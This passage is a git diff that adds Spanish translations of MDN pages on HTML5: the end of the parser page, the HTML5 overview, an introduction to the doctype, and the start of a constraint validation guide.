+<p><span class="goog-gtc-unit" id="goog-gtc-unit-60"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Por ejemplo, el siguiente código escribe un subárbol equilibrado:</span></span></p>
+<pre><span class="goog-gtc-unit" id="goog-gtc-unit-61"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">&lt;script&gt;</span></span>
+  <span class="goog-gtc-unit" id="goog-gtc-unit-62"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">document.write ("&lt;div&gt;");</span></span>
+  <span class="goog-gtc-unit" id="goog-gtc-unit-63"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">document.write ("&lt;p&gt; Aquí va el contenido. &lt;/ p&gt;");</span></span>
+  <span class="goog-gtc-unit" id="goog-gtc-unit-64"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">document.write ("&lt;/ div&gt;");</span></span>
+<span class="goog-gtc-unit" id="goog-gtc-unit-65"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">&lt;/ script&gt;</span></span>
+<span class="goog-gtc-unit" id="goog-gtc-unit-66"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">&lt;!-- Aquí va el HTML sin script. --&gt;
+</span></span>
+</pre>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-67"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Por el contrario, el siguiente código contiene dos scripts con subárboles no equilibrados, lo que hace que el análisis especulativo falle y por lo tanto el tiempo para analizar el documento sea más largo.</span></span></p>
+<pre><span class="goog-gtc-unit" id="goog-gtc-unit-68-goog-gtc-unit-69-goog-gtc-unit-70"><span class="goog-gtc-translatable goog-gtc-from-human" style="">&lt;script&gt;document.write("&lt;div&gt;");&lt;/script&gt;
+&lt;p&gt;El contenido va aquí.&lt;/p&gt;
+&lt;script&gt;document.write("&lt;/div&gt;");&lt;/script&gt;
+</span></span>
+</pre>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-71"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Para obtener más información, consulta <a href="/en/HTML/HTML5/Optimizing_Your_Pages_for_Speculative_Parsing" title="en/HTML/HTML5/Optimizing Your Pages for Speculative Parsing">Optimizar tus páginas para el análisis especulativo</a></span></span></p>
+<p>{{ languages( { "en": "en/HTML/HTML5/HTML5_Parser" } ) }}</p>
diff --git a/files/es/html/html5/index.html b/files/es/html/html5/index.html
new file mode 100644
index 0000000000..054d21d534
--- /dev/null
+++ b/files/es/html/html5/index.html
@@ -0,0 +1,199 @@
+---
+title: HTML5
+slug: HTML/HTML5
+tags:
+  - API
+  - CSS3
+  - Gráficos(2)
+  - HTML
+  - HTML5
+  - Multimedia
+  - SVG
+  - conectividad
+  - graficos
+  - mejoras
+  - nuevo
+translation_of: Web/Guide/HTML/HTML5
+---
+<p style="line-height: 22px;"><span class="seoSummary"><strong>HTML5 </strong> <span style="line-height: 21px;">es la última versión de</span> <a href="/en-US/docs/HTML" title="HTML">HTML</a>. </span><span style="line-height: 21px;">El término representa dos conceptos diferentes:</span></p>
+
+<ul style="line-height: 22px;">
+ <li><span class="seoSummary">Se trata de una nueva versión de HTML, con nuevos elementos, atributos y comportamientos.</span></li>
+ <li><span class="seoSummary">Contiene un conjunto más amplio de tecnologías que permite a los sitios Web y a las aplicaciones ser más diversas y de gran alcance.</span> A este conjunto se le llama <em>HTML5 y amigos</em>, a menudo reducido a <em>HTML5</em> .</li>
+</ul>
+
+<p style="line-height: 22px;"><span style="line-height: 21px;">Diseñado para ser utilizable por todos los desarrolladores de Open Web, esta página referencía numerosos recursos sobre las tecnologías de HTML5, clasificados en varios grupos según su función. </span></p>
+
+<ul style="line-height: 22px;">
+ <li><em>Semántica</em>: Permite describir con mayor precisión <span id="docs-internal-guid-624d18e2-7fff-fe56-de5d-c9472725617e" style="background-color: transparent; color: #000000; font-family: Arial; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">cuál</span> es su contenido.</li>
+ <li><em>Conectividad</em>: Permite comunicarse con el servidor de formas nuevas e innovadoras.</li>
+ <li><em>Sin conexión y almacenamiento</em>: Permite a las páginas web almacenar datos localmente en el lado del cliente y operar sin conexión de manera más eficiente.</li>
+ <li><em>Multimedia</em>: <span style="background-color: #ffffff; color: #4d4e53; display: inline !important; float: none; font-family: open sans,sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal;">Nos otorga un excelente soporte para utilizar contenido multimedia</span> como lo son audio y video nativamente.</li>
+ <li><em>Gráficos y efectos 2D/3D</em>: Proporciona una amplia gama de nuevas características que se ocupan de los gráficos en la web como lo son canvas 2D, WebGL, SVG, etc.</li>
+ <li><em>Rendimiento e Integración</em>: Proporciona una mayor optimización de la velocidad y un mejor uso del hardware.</li>
+ <li><em>Acceso al dispositivo</em>: Proporciona APIs para el uso de varios componentes internos de entrada y salida de nuestro dispositivo.</li>
+ <li><em>CSS3</em>: Nos ofrece una nueva gran variedad de opciones para hacer diseños más sofisticados.</li>
+</ul>
+
+<div class="cleared row topicpage-table" style="line-height: 22px;">
+<div class="section" style="width: 436px;">
+<h2 id="SEMÁNTICA" style="font-family: 'Bebas Neue', 'League Gothic', Haettenschweiler, 'Arial Narrow', sans-serif; border: none; font-size: 24px; margin: 0px 0px 0.25em; font-weight: 200; line-height: 1; letter-spacing: 1px; text-transform: uppercase;"><img alt="" src="/files/3827/HTML5_Semantics_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">SEMÁNTICA</h2>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/es/docs/Sections_and_Outlines_of_an_HTML5_document" title="Sections and Outlines of an HTML5 document">Secciones y contenidos en HTML5</a></dt>
+ <dd>Un vistazo al nuevo esquema y secciones de un documento HTML5: <span style="line-height: 1.572;">{{HTMLElement("section")}}, {{HTMLElement("article")}}, {{HTMLElement("nav")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("aside")}}.</span></dd>
+ <dt><a href="/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content" title="Uso de audio y video en HTML5">Uso de audio y video en HTML5</a></dt>
+ <dd>Los elementos {{HTMLElement("audio")}} y {{HTMLElement("video")}} permiten la manipulacion de nuevo contenido multimedia.</dd>
+</dl>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/es/docs/HTML/HTML5/Formularios_en_HTML5" title="Forms in HTML5">Formularios en HTML5</a></dt>
+ <dd>Un mirada a la mejora de los formularios web en HTML5: La API de validación de restricción, varios atributos nuevos, nuevos valores para el<span style="line-height: 1.572;"> {{HTMLElement("input")}} como el atributo {{htmlattrxref("type", "input")}} y el nuevo elemento {{HTMLElement("output")}}.</span></dd>
+ <dt><span style="line-height: 1.572;">Nuevos elementos semánticos</span></dt>
+ <dd>Junto a las secciones , los medios de comunicación y elementos de formularios, se crearon muchos nuevos elementos como: {{HTMLElement("mark")}}, {{HTMLElement("figure")}}, {{HTMLElement("figcaption")}}, {{HTMLElement("data")}}, {{HTMLElement("time")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, o {{HTMLElement("meter")}}, aumentando la cantidad de <a href="/en-US/docs/HTML/HTML5/HTML5_element_list" title="HTML/HTML5/HTML5_element_list">elementos de HTML5 validos</a>.
+ <dl>
+  <dt></dt>
+  <dt>Mejora en {{HTMLElement("iframe")}}</dt>
+  <dd>Uso de atributos de {{htmlattrxref("sandbox", "iframe")}}, {{htmlattrxref("seamless", "iframe")}}, y  {{htmlattrxref("srcdoc", "iframe")}} los autores ahora pueden precisar el nivel de seguridad y la reproduccion deseada de un elemento {{HTMLElement("iframe")}}.</dd>
+  <dt><a href="/en-US/docs/MathML" title="MathML">MathML</a></dt>
+  <dd>Permite integrar directamente fórmulas matemáticas.</dd>
+  <dd></dd>
+  <dt><a href="/en-US/docs/HTML/HTML5/Introduction_to_HTML5" title="HTML/HTML5/Introduction_to_HTML5">Introducción a HTML5</a></dt>
+  <dd><span id="result_box" lang="es"><span class="hps">En este artículo</span> <span class="hps">se explica cómo</span> <span class="hps">indicar al</span> <span class="hps">navegador</span> <span class="hps">que está utilizando</span> <span class="hps">HTML5</span> <span class="hps">en</span> <span class="hps">su diseño web</span> <span class="hps">o aplicación web</span><span>.</span></span></dd>
+  <dt><a href="https://developer.mozilla.org/en-US/docs/HTML/HTML5/HTML5_Parser" title="HTML/HTML5/HTML5 parser">Analizador de HTML5 compatible</a></dt>
+  <dd>El programa de análisis, lo que convierte los bytes de un documento HTML en un DOM, se ha ampliado y ahora define con precisión el comportamiento a utilizar en todos los casos, incluso cuando se trata de HTML inválido. Esto conduce a una mayor previsibilidad e interoperabilidad entre los navegadores compatibles con HTML5.</dd>
+ </dl>
+
+ <h2 id="CONECTIVIDAD" style="font-family: 'Bebas Neue', 'League Gothic', Haettenschweiler, 'Arial Narrow', sans-serif; border: none; font-size: 24px; margin: 0px 0px 0.25em; font-weight: 200; line-height: 1; letter-spacing: 1px; text-transform: uppercase;"><img alt="" src="/files/3839/HTML5_Connectivity_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">CONECTIVIDAD</h2>
+
+ <dl>
+  <dt><a href="/en-US/docs/WebSockets" title="WebSockets">Web Sockets</a></dt>
+  <dd>Permite crear una conexión permanente entre la página y el servidor e intercambiar datos no HTML a través de ese medio.</dd>
+  <dt><a href="https://developer.mozilla.org/en-US/docs/Server-sent_events/Using_server-sent_events" title="Server-sent_events/Using_server-sent_events">Eventos de servidor enviados</a></dt>
+  <dd>Permite a un servidor "colocar" eventos en un cliente, en lugar del clásico paradigma  donde el servidor podría enviar datos sólo en respuesta a la petición de un cliente.</dd>
+  <dt><a href="/en-US/docs/WebRTC" title="WebRTC">WebRTC</a></dt>
+  <dd>Esta tecnología, donde RTC es sinónimo de comunicación en tiempo real, permite conectar con otras personas y servicio de videoconferencia de control directamente en el navegador, sin necesidad de un plugin o una aplicación externa.</dd>
+ </dl>
+
+ <h2 id="Sin_Conexión_Y_ALMACENAMIENTO" style="font-family: 'Bebas Neue', 'League Gothic', Haettenschweiler, 'Arial Narrow', sans-serif; border: none; font-size: 24px; margin: 0px 0px 0.25em; font-weight: 200; line-height: 1; letter-spacing: 1px; text-transform: uppercase;"><img alt="" src="/files/3833/HTML5_Offline_Storage_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">Sin Conexión Y ALMACENAMIENTO</h2>
+
+ <dl>
+  <dt><a href="https://developer.mozilla.org/en-US/docs/HTML/Using_the_application_cache" title="Offline_resources_in_Firefox">Recursos sin conexión: el caché de la aplicación</a></dt>
+  <dd>Firefox es totalmente compatible con la especificación de recursos sin conexión de HTML5. La mayoría de los otros recursos sin conexión tienen soporte en un cierto nivel.</dd>
+  <dt><a href="https://developer.mozilla.org/en-US/docs/Online_and_offline_events" title="Online_and_offline_events">Eventos  con y sin conexión</a></dt>
+  <dd>Firefox 3 soporta WHATWG, eventos con y sin conexión, que permiten a las aplicaciones y extensiones detectar si hay o no una conexión a Internet, así como tambien, detectar cuando la conexión se pierde o se recupera.</dd>
+  <dt><a href="https://developer.mozilla.org/en-US/docs/DOM/Storage" title="DOM / Almacenamiento">WHATWG sesión del lado cliente y el almacenamiento continuo (Almacenamiento DOM)</a></dt>
+  <dd>Sesión del lado del cliente y el almacenamiento continuo permite a las aplicaciones web almacenar datos estructurados en el lado del cliente.</dd>
+  <dt><a href="/en-US/docs/IndexedDB" title="IndexedDB">IndexedDB</a></dt>
+  <dd>Es un estándar de Internet para el almacenamiento de grandes cantidades de datos estructurados en el navegador y para las búsquedas de alto rendimiento de estos datos mediante índices.</dd>
+  <dt><a href="https://developer.mozilla.org/en-US/docs/Using_files_from_web_applications" title="Using_files_from_web_applications">Uso de archivos desde aplicaciones web</a></dt>
+  <dd>El soporte para la nueva API de archivos de HTML5 ha sido añadido a Gecko, por lo que es posible que las aplicaciones de Internet accedan a los archivos locales seleccionados por el usuario. Esto incluye el apoyo para la selección de varios archivos utilizando el<span style="line-height: 1.572;"> </span><span style="font-family: monospace; line-height: 1.572;">{{HTMLElement("input")}}</span><span style="line-height: 1.572;"> de </span><strong style="line-height: 1.572;"><a href="/en-US/docs/HTML/Element/Input#attr-type" style="line-height: 1.572;" title="HTML/Element/input#attr-type">tipo</a></strong><span style="line-height: 1.572;"> <em>file</em> </span>del elemento HTML <strong style="line-height: 1.572;"><a href="/en-US/docs/HTML/Element/Input#attr-multiple" style="line-height: 1.572;" title="HTML/Element/input#attr-multiple">múltiple</a>s </strong><span style="line-height: 1.572;">atributos. </span>También esta<span style="line-height: 1.572;"> </span><a href="/en-US/docs/DOM/FileReader" style="line-height: 1.572;" title="DOM/FileReader"><code style="font-size: 14px;">FileReader</code></a><span style="line-height: 1.572;">.</span></dd>
+ </dl>
+
+ <h2 id="MULTIMEDIA" style="font-family: 'Bebas Neue', 'League Gothic', Haettenschweiler, 'Arial Narrow', sans-serif; border: none; font-size: 24px; margin: 0px 0px 0.25em; font-weight: 200; line-height: 1; letter-spacing: 1px; text-transform: uppercase;"><img alt="" src="/files/3835/HTML5_Multimedia_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">MULTIMEDIA</h2>
+
+ <dl>
+  <dt><a href="https://developer.mozilla.org/en-US/docs/Using_HTML5_audio_and_video" title="Using_audio_and_video_in_Firefox">Usando HTML5 de audio y video</a></dt>
+  <dd>Los elementos {{HTMLElement("audio")}} y {{HTMLElement("video")}} permiten la manipulación de nuevos contenidos multimedia.
+  <dl>
+   <dt></dt>
+   <dt><a href="/en-US/docs/WebRTC" title="WebRTC">WebRTC</a></dt>
+   <dd>Esta tecnología, donde RTC es sinónimo de comunicación en tiempo real, permite conectar con otras personas y controlar servicios de videoconferencia directamente en el navegador, sin necesidad de un plugin o una aplicación externa.</dd>
+   <dt><a href="https://developer.mozilla.org/en-US/docs/DOM/Using_the_Camera_API" title="DOM / Using_the_Camera_API">Usando la API de la cámara</a></dt>
+   <dd>Permite utilizar, manipular y almacenar una imagen de la cámara del ordenador.</dd>
+   <dt>Track and WebVTT</dt>
+   <dd>El elemento {{HTMLElement("track")}} permite subtítulos y capítulos. <a href="/en-US/docs/HTML/WebVTT" title="HTML/WebVTT">WebVTT</a> <span style="line-height: 1.572;">es un formato de pista de texto.</span></dd>
+  </dl>
+
+  <h2 id="3D_GRAFICOS_EFECTOS" style="font-family: 'Bebas Neue', 'League Gothic', Haettenschweiler, 'Arial Narrow', sans-serif; border: none; font-size: 24px; margin: 0px 0px 0.25em; font-weight: 200; line-height: 1; letter-spacing: 1px; text-transform: uppercase;"><img alt="" src="/files/3841/HTML5_3D_Effects_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">3D, GRAFICOS &amp; EFECTOS</h2>
+
+  <dl>
+   <dt><a href="/en-US/docs/Canvas_tutorial" title="Canvas tutorial">Canvas Tutorial</a></dt>
+   <dd>Conozca el nuevo elemento <span style="font-family: courier new,andale mono,monospace; line-height: normal;">{{HTMLElement("canvas")}}</span>  y cómo dibujar gráficos y otros objetos en Firefox</dd>
+   <dt><a href="/en-US/docs/Drawing_text_using_a_canvas" title="Drawing_text_using_a_canvas">API de texto para elementos <code style="font-size: 14px;">&lt;canvas&gt;</code> </a></dt>
+   <dd>El API de texto HTML5 es ahora compatible con elementos {{HTMLElement("canvas")}} .</dd>
+   <dt><a href="/en-US/docs/WebGL" title="WebGL">WebGL</a></dt>
+   <dd>WebGL trae gráficos en 3D para la Web mediante la introducción de una API que se ajusta estrechamente a OpenGL ES 2.0 que se puede utilizar en elementos <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/canvas"><code style="font-size: 14px;">&lt;canvas&gt;</code></a> HTML5  .</dd>
+   <dt><a href="/en-US/docs/SVG" title="SVG">SVG</a></dt>
+   <dd>Un formato basado en XML de imágenes vectoriales que directamente se pueden incrustar en el código HTML.</dd>
+   <dt></dt>
+  </dl>
+  </dd>
+ </dl>
+ </dd>
+</dl>
+</div>
+
+<div class="section" style="width: 435px;">
+<h2 id="RESULTADOS_e_INTEGRACIÓN" style="font-family: 'Bebas Neue', 'League Gothic', Haettenschweiler, 'Arial Narrow', sans-serif; border: none; font-size: 24px; margin: 0px 0px 0.25em; font-weight: 200; line-height: 1; letter-spacing: 1px; text-transform: uppercase;"><img alt="" src="/files/3831/HTML5_Performance_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">RESULTADOS e INTEGRACIÓN</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/DOM/Using_web_workers" title="Using web workers">Web Workers</a></dt>
+ <dd>Permite delegar la evaluación JavaScript para subprocesos en segundo plano, lo que evita que estas actividades ralenticen eventos interactivos.</dd>
+ <dt><code style="font-size: 14px;"><a href="/en-US/docs/DOM/XMLHttpRequest" title="XMLHttpRequest">XMLHttpRequest</a></code> Nivel 2</dt>
+ <dd>Permite buscar de forma asíncrona algunas partes de la página, mostrando contenido dinámico, que varía según el tiempo y las acciones del usuario. Esta es la tecnología detrás de<span style="line-height: 1.572;"> </span><a href="/en-US/docs/AJAX" style="line-height: 1.572;" title="AJAX">Ajax</a><span style="line-height: 1.572;">.</span></dd>
+</dl>
+
+<dl>
+ <dt>Motores JIT compilación de JavaScript</dt>
+ <dd>La nueva generación de motores de JavaScript son mucho más poderosos, lo que lleva a un mayor rendimiento.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/DOM/Manipulating_the_browser_history" title="DOM/Manipulating_the_browser_history">History API</a></dt>
+ <dd>Permite la manipulación del historial del navegador. Esto es especialmente útil para la carga interactivamente nueva información en las páginas.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/HTML/Content_Editable" title="HTML / contenido editable">El atributo contentEditable: transformar su sitio web en una wiki!</a></dt>
+ <dd>HTML5 ha estandarizado el atributo contentEditable. Aprenda más sobre esta opción.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/DragDrop/Drag_and_Drop" title="DragDrop / Drag_and_Drop">Arrastrar y soltar</a></dt>
+ <dd>La API de arrastrar y soltar (drag and drop) permite soporte para arrastrar y soltar elementos dentro y entre sitios web. Esto también proporciona una API simple para el uso de extensiones y aplicaciones basadas ​​en Mozilla.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Focus_management_in_HTML" title="Focus_management_in_HTML">Gestión del foco en HTML</a></dt>
+ <dd>Los nuevos atributos HTML5 <code style="font-size: 14px;">activeElement</code> y <code style="font-size: 14px;">hasFocus</code> son soportados.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web-based_protocol_handlers" title="Web-based_protocol_handlers">Manejadores de protocolo basados ​​en web</a></dt>
+ <dd>Ahora puede registrar las aplicaciones web como controladores de protocolo utilizando el metodo <code style="font-size: 14px;">navigator.registerProtocolHandler()</code>.</dd>
+ <dt><a href="/en-US/docs/DOM/window.requestAnimationFrame" title="DOM/window.requestAnimationFrame"><code style="font-size: 14px;">requestAnimationFrame</code></a></dt>
+ <dd>Permite controlar la renderización de  animaciones para obtener un óptimo rendimiento.</dd>
+ <dt><a href="/en-US/docs/DOM/Using_full-screen_mode" title="DOM/Using_full-screen_mode">Fullscreen API</a></dt>
+ <dd>Controla el uso de la pantalla completa de una página Web o aplicación, sin la interfáz de usuario del explorador mostrada.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/API/Pointer_Lock_API" title="API / Pointer_Lock_API">API Pointer Lock</a></dt>
+ <dd>Permite bloquear el puntero al contenido, por lo que los juegos y aplicaciones similares no pierden el foco cuando el puntero alcanza el límite de la ventana.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Online_and_offline_events" title="Online_and_offline_events">Eventos en línea y fuera de línea</a></dt>
+ <dd>
+ <dl style="margin: 0px 0px 1.286em; padding: 0px;">
+  <dd style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px;">Para construir una buena aplicación web offline-funcional, lo que necesita saber cuando su aplicación esta realmente sin conexión. Dicho sea de paso, también es necesario saber cuando su solicitud sea devuelta a un estado de conexión de nuevo.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="ACCESO_al_dispositivo" style="font-family: 'Bebas Neue', 'League Gothic', Haettenschweiler, 'Arial Narrow', sans-serif; border: none; font-size: 24px; margin: 0px 0px 0.25em; font-weight: 200; line-height: 1; letter-spacing: 1px; text-transform: uppercase;"><img alt="" src="/files/3837/HTML5_Device_Access_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">ACCESO al dispositivo</h2>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/DOM/Using_the_Camera_API" title="DOM / Using_the_Camera_API">Usando la API de la cámara</a></dt>
+ <dd>Permite utilizar, manipular y almacenar una imagen de la cámara del ordenador.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/DOM/Touch_events" title="DOM / Touch_events">Eventos táctiles</a></dt>
+ <dd>Manipuladores para reaccionar a los eventos creados por un usuario cuando pulsa pantallas táctiles.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Using_geolocation" title="El uso de geolocalización">El uso de geolocalización</a></dt>
+ <dd>Permite a los navegadores localizar la posición del usuario mediante geolocalización.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Detecting_device_orientation" title="Detecting_device_orientation">Detección de la orientación del dispositivo</a></dt>
+ <dd>Obtiene la información cuando el dispositivo en el que se ejecuta el navegador, cambia de orientación. Esto puede ser utilizado como un dispositivo de entrada (por ejemplo, para hacer que los juegos que reaccionan a la posición del dispositivo) o adaptar el diseño de una página a la orientación de la pantalla (vertical u horizontal).</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/API/Pointer_Lock_API" title="API / Pointer_Lock_API">API Pointer Lock</a></dt>
+ <dd>Permite bloquear el puntero al contenido, por lo que los juegos y aplicaciones similares no pierden el foco cuando el puntero alcanza el límite de la ventana.</dd>
+</dl>
+
+<h2 id="CSS3_STYLING" style="font-family: 'Bebas Neue', 'League Gothic', Haettenschweiler, 'Arial Narrow', sans-serif; border: none; font-size: 24px; margin: 0px 0px 0.25em; font-weight: 200; line-height: 1; letter-spacing: 1px; text-transform: uppercase;"><img alt="" src="/files/3829/HTML5_Styling_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">CSS3 STYLING</h2>
+
+<p><a href="/en-US/docs/CSS" title="CSS">CSS </a> <font>se ha ampliado para ser capaz de menajar elementos de estilo de una manera mucho más compleja. </font><font>Esto se refiere a menudo como</font> <a href="/en-US/docs/CSS/CSS3" title="CSS/CSS3">CSS3</a>,  <span style="line-height: 21px;">aunque CSS no es una especificación monolítica más y los diferentes módulos no están todos en el nivel 3: algunos están en el nivel 1 y otros en el nivel 4, con todos los niveles intermedios cubiertos.</span></p>
+
+<dl>
+ <dt>Nuevas características de diseño de fondo</dt>
+ <dd>Ahora es posible poner una sombra a un cuadro, con <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/box-shadow"><code style="font-size: 14px;">box-shadow</code></a> y <a href="https://developer.mozilla.org/en-US/docs/CSS/Multiple_backgrounds" title="CSS / Multiple_backgrounds">varios fondos</a> se pueden ajustar.</dd>
+</dl>
+
+<dl>
+ <dt>Bordes mas "lujosos"</dt>
+ <dd>Ahora no sólo es posible utilizar las imágenes con los estilos de bordes, utilizando {{cssxref("border-image")}} y asociando sus propiedades asociadas a <span style="line-height: 1.572;">longhand</span><span style="line-height: 1.572;">, </span>aunque los bordes redondeados son apoyados a través de propiedades <span style="line-height: 1.572;">{{cssxref("border-radius")}} .</span></dd>
+ <dt>Animación de su estilo</dt>
+ <dd>Utilizando <a href="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_transitions" title="CSS / Using_CSS_transitions">Transiciones CSS</a> para animar entre los diferentes estados o utilizando <a href="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_animations" title="CSS / Using_CSS_animations">animaciones CSS</a> para animar partes de la página, sin que el evento se dispare, ahora puede controlar los elementos móviles en su página.</dd>
+ <dt>Tipografía mejorada</dt>
+ <dd>Los autores tienen un mejor control para usar la tipografía. Se puede controlar <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/text-overflow"><code style="font-size: 14px;">el texto </code></a>{{cssxref("text-overflow")}} y <a href="https://developer.mozilla.org/en-US/docs/CSS/hyphens" title="CSS / guiones">guiones</a> y también puede poner una<a href="https://developer.mozilla.org/en-US/docs/CSS/text-shadow" title="CSS / text-shadow"> sombra</a>  o controlar con mayor precisión sus <a href="https://developer.mozilla.org/en-US/docs/CSS/text-decoration" title="SVG / atributo / text-decoration">decoraciones</a> . Los tipos de letra personalizados se pueden descargar y aplicar gracias a la nueva regla <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/@font-face"><code style="font-size: 14px;">@font-face</code></a> .</dd>
+ <dt>Nuevos diseños de presentación</dt>
+ <dd>Con el fin de mejorar la flexibilidad de los diseños, se han añadido dos nuevos diseños: el <a href="https://developer.mozilla.org/en-US/docs/CSS/Using_CSS_multi-column_layouts" title="CSS / Using_CSS_multi-column_layouts">CSS diseño de varias columnas</a> , y el <a href="https://developer.mozilla.org/en-US/docs/CSS/Flexbox" title="CSS / Flexbox">cuadro de distribución flexible de CSS</a> .</dd>
+</dl>
+</div>
+</div>
diff --git a/files/es/html/html5/introducción_a_html5/index.html b/files/es/html/html5/introducción_a_html5/index.html
new file mode 100644
index 0000000000..091a90f7af
--- /dev/null
+++ b/files/es/html/html5/introducción_a_html5/index.html
@@ -0,0 +1,16 @@
+---
+title: Introducción a HTML5
+slug: HTML/HTML5/Introducción_a_HTML5
+tags:
+  - HTML
+  - HTML5
+translation_of: Web/Guide/HTML/HTML5/Introduction_to_HTML5
+---
+<p><br>
+ <span lang="es-ES"><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/" title="http://www.whatwg.org/specs/web-apps/current-work/">HTML5</a>, algunas de cuyas características inicialmente comenzaron a llegar a Gecko 1.8.1, es la versión más reciente de HTML estándar.</span> <span lang="es-ES">Ofrece nuevas características que proporcionan no solo una amplia compatibilidad de medios, sino también una compatibilidad mejorada para la creación de aplicaciones web que pueden interactuar de una manera más sencilla y efectiva con el usuario, sus datos locales y los servidores.</span></p>
+<p><span lang="es-ES">Al estar HTML5 aún en la fase de diseño, son inevitables los cambios en las especificaciones.</span> <span lang="es-ES">Debido a esto, algunos navegadores no admiten aún determinadas características.</span> <span lang="es-ES">Sin embargo, Gecko (y por extensión, Firefox) tiene una compatibilidad inicial muy buena para HTML5 y se continúa trabajando para que sea compatible con cada vez más características.</span> <span lang="es-ES">Puedes encontrar una lista de las características de HTML5 que admite Gecko en la <a href="/es/HTML/HTML5" title="es/HTML/HTML5">página principal de HTML5</a>.</span></p>
+<h2 id="El_tipo_de_documento_HTML5">El tipo de documento HTML5</h2>
+<p><span lang="es-ES">El tipo de documento para HTML5 es muy sencillo.</span> <span lang="es-ES">Para indicar que el contenido de tu HTML usa HTML5, simplemente utiliza:</span></p>
+<pre lang="es-ES" style="margin-bottom: 0.5cm;">&lt;!DOCTYPE html&gt;</pre>
+<p lang="es-ES">Este tipo de documento tan sencillo hará que incluso aquellos navegadores que no admiten actualmente HTML5 entren en modo estándar, lo que significa que interpretarán conforme a HTML5 las partes establecidas hace tiempo, al ignorar las nuevas características de HTML5 que no admiten.</p>
+<p lang="es-ES">{{ languages( { "en": "en/HTML/HTML5/Introduction_to_HTML5" } ) }}</p>
diff --git a/files/es/html/html5/validacion_de_restricciones/index.html b/files/es/html/html5/validacion_de_restricciones/index.html
new file mode 100644
index 0000000000..04182a8fec
--- /dev/null
+++ b/files/es/html/html5/validacion_de_restricciones/index.html
@@ -0,0 +1,345 @@
+---
+title: Validación de restricciones
+slug: HTML/HTML5/Validacion_de_restricciones
+tags:
+  - CSS
+  - Guía
+  - HTML5
+  - NecesitaContenido
+  - Selectores
+translation_of: Web/Guide/HTML/HTML5/Constraint_validation
+---
+<p>La creación de formularios web siempre ha sido una tarea compleja. Mientras armar el formulario en sí es fácil, verificar si cada campo tiene un valor que es válido y coherente es aun más difícil, e informar al usuario acerca del problema puede convertirse en un dolor de cabeza.<a href="/es/docs/HTML/HTML5" title="en/HTML/HTML5"> HTML5</a> introdujo nuevos mecanismos para formularios: añadió nuevos tipos semánticos para el elemento {{ HTMLElement("input") }} y <em>validación de restricciones</em> para facilitar el trabajo de revisar el contenido del formulario de lado del cliente. Se pueden usar restricciones básicas y comunes, sin la necesidad de JavaScript, estableciendo nuevos atributos; para restricciones más complejas se puede usar la <a href="/es/docs/HTML/HTML5/Formularios_en_HTML5#Validaci.C3.B3n_restringida" title="en/HTML/HTML5/Forms in HTML5#Constraint Validation API">API de Validación de Restricciones</a> de HTML.</p>
+
+<div class="note"><strong>Nota:</strong> La validación de restricciones de HTML5 no elimina la necesidad de hacer validaciones <em>de lado del servidor</em>. Aunque se esperen menos envíos con formularios inválidos, sí se pueden seguir recibiendo datos inválidos, en navegadores sin soporte (por ejemplo, navegadores sin HTML y sin JavaScript) o por chicos malos que traten de burlar las restricciones de la aplicación. Por lo tanto, como en HTML4, también tendrás que validar las restricciones de captura del lado del servidor, de modo que sea consistente con las que se hacen del lado del cliente.</div>
+
+<h2 id="Restricciones_intrínsecas_y_básicas">Restricciones intrínsecas y básicas</h2>
+
+<p>En HTML5, las restricciones básicas son declaradas de dos formas:</p>
+
+<ul>
